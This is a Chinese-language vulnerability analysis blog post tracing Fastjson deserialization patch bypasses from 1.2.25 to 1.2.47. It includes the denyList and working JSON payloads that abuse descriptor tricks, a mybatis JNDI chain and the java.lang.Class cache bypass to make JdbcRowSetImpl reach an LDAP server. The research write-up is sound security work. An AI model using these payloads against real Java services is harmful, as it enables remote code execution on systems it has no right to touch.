Fastjson 反序列化漏洞分析 1.2.25-1.2.47
Fastjson 反序列化漏洞分析 1.2.25-1.2.47
写在前面
上一篇文,主要跟了下Fastjson中反序列化的逻辑,以及在1.2.22-1.2.24版本中TemplatesImpl
和JdbcRowSetImpl
两条链,这篇记录下各个版本的Bypass补丁和绕过的复现,打算后面再写篇文,整理下不出网如何利用Fastjson
Fastjson 1.2.25修复
修复改动:
- 自从1.2.25 起 autotype 默认为False
- 增加 checkAutoType 方法,在该方法中进行黑名单校验,同时增加白名单机制
修改pom.xml换成1.2.25版本的Fastjson
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
首先对着1.2.25版本的fastjson打一发1.2.24版本的payload,看一下结果,已经打不成了。
先来把1.2.25jar包下下来,使用idea中Compare With...
diff下源码看下如何修复的,在DefaultJSONParser
类中多了一个checkAutoType
方法检测
这里的话如果开了autoType
会先走一个白名单acceptList
的判断,如果当前@Type
指定的要反序列化的类以acceptList
数组中某一元素开头则直接loadClass
去加载
但是因为默认白名单是空的,需要自己去add
,所以走下面的黑名单denyList
,黑名单如下:
"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"
而1.2.24 中我们用到的类是com.sun.rowset.JdbcRowSetImpl
也在黑名单中,所以会抛出auto type not support
异常
而如果没有开启autoType
则会先走黑名单,如果指定类不在黑名单中再走白名单的判断,符合后再去loadClass
该类
Fastjson 1.2.25-1.2.41 Bypass
先看第一种payload:需开启autoType
"{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}";
这个点其实上一篇文章有提到,调试看一下
首先跟进到checkAutoType
中,因为这次@type
指定类写法变为Lcom.sun.rowset.JdbcRowSetImpl;
所以可以很轻松的绕过黑名单
后续在loadClass
方法中 ,满足了类名以L
开头以;
结尾,进而也可以调用到loadClass
加载并返回class对象
L [ ; 这些字符是 JNI 字段描述符,可参考这篇文章
那因此,当className
第一个字符为[
时也同样可以进行绕过
payload: 需开启autoType
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
首先是通过[
绕过黑名单进入loadClass
,之后第一次读取完类名为[com.sun.rowset.JdbcRowSetImpl
,loadClass之后变为[Lcom.sun.rowset.JdbcRowSetImpl;
。而之后的[{
判断分别在JavaBeanDeserializer#deserialze
方法和DefaultJSONParser#parseArray
方法中
parseArray:需要当前有[
才进入后续deserialze
方法
后续在deserialze
方法中,需要构造{
。具体可参考这篇文章
当然这个payload是可以通杀1.2.25-1.2.43版本
Fastjson 1.2.25-1.2.42 Bypass
从1.2.42版本开始,在ParserConfig
类中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist
payload:需开启autoType ,通过双写L
和;
进行绕过
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho", "autoCommit":true}
下面调试分析一下,还是跟进到checkAutoType
方法开始看
首先第一次处理时会先去掉一层L
;
然后进行黑名单hash的比对,比对完成后进入loadClass方法
跟进后发现传递的参数依然是typeName而不是我们上面看到的className,那么看看下面是如何处理掉2层L
和;
的,首先依然是进入满足L
开头;
结尾的逻辑,之后通过递归的方式去处理的className
,所以当第二次再进入loadClass
方法时就会去除掉L
和;
以正常的类名去loadClass
了
Fastjson 1.2.25-1.2.43 Bypass
在1.2.43版本时在checkAutoType
方法添加了如下的判断,导致双写L
,;
无法绕过。所以在此版本下可以选择上面提到的,走入[
的判断逻辑去触发JNDI
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
payload:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho","autoCommit":true}
Fastjson 1.2.25-1.2.45 Bypass
1.2.44版本对[
的绕过payload做了限制,当第一个字符为[
时抛出异常
payload:开启autoTyoe;需要目标服务端存在mybatis的jar包,且版本需为3.x.x-3.5.0的版本。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/Basic/TomcatEcho"}
该payload主要因为org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名单中可绕过检测,因为传入properties
会调用setProperties
方法进而触发JNDI
Fastjson 1.2.25-1.2.47 通杀
这里有2个版本段
- 1.2.25-1.2.32版本:不能开启AutoType
- 1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/Basic/TomcatEcho",
"autoCommit":true
}
}
1.2.25-1.2.32 不能开启autoType
首先来看1.2.25-1.2.32不能开启AutoType
还是看到checkAutoType
方法,因为没开启autotype所以不会进入黑白名单判断的逻辑,并且因为是jdk自带的Class类,所以可以找到
最终将其class对象直接return出来
之后调用MiscCodec#deserialize
方法时,会去调用loadClass
加载JdbcRowSetImpl
,而strVal的值是在上面通过判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量。
跟进loadClass
,最终会将className与class对象的映射缓存到mappings中
而再一次进入checkAutoType
方法后,会先从mappings中拿出class对象赋值给clazz
后续直接return该class对象 ,从而绕过了检测
1.2.33-1.2.47 通杀
这里拿1.2.47做调试
依旧是跟进到checkAutoType
方法,和上面的部分一样,依旧是通过findClass
可以找到java.lang.Class
类,之后将其class对象return出来,之后就是将JdbcRowSetImpl
缓存到mappings里
主要看第二次进入checkAutoType
时的逻辑,主要是下面这个if。
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
但是看网上文章都说是“满足”条件,这里我跟的时候发现这两个判断结果都为false,主要存在不同的是第二个点,这里我是开启autotype调试的,因为这里进入checkAutoType
直接就进行了白+黑的检测,并没有调用getMapping,所以这里if中第二个条件为null,也即false,从而不会抛出异常
后续就没啥好说的了,和上面过程类似,从mappings中获取到JdbcSetRowImpl
之后直接返回该class对象
为什么分成两个小版本段
我们来diff下1.2.32和1.2.33,看看具体变动在哪里,观察到checkAutoType
方法在1.2.33之后多了TypeUtils.getClassFromMapping(typeName) == null
,也就是在黑名单中也会从mappings获取类,也就是当前类在黑名单中且在mappings中没有,才会抛出异常;而在1.2.32之前,只是黑名单的判断,在黑名单中就抛异常,不在就不抛。
Fastjson 1.2.48版本修复
在TypeUtils#loadClass中禁止了cache的使用,那么通过先put到mappings中再等到第二次走checkAutoType时再调用TypeUtils.getClassFromMapping()来加载这种绕过黑名单的姿势就不能再用了
Reference
https://su18.org/post/fastjson/
https://www.mi1k7ea.com/2019/11/10/Fastjson系列三——历史版本补丁绕过(需开启AutoType)/
https://xz.aliyun.com/t/9052
https://www.cnblogs.com/nice0e3/p/14776043.html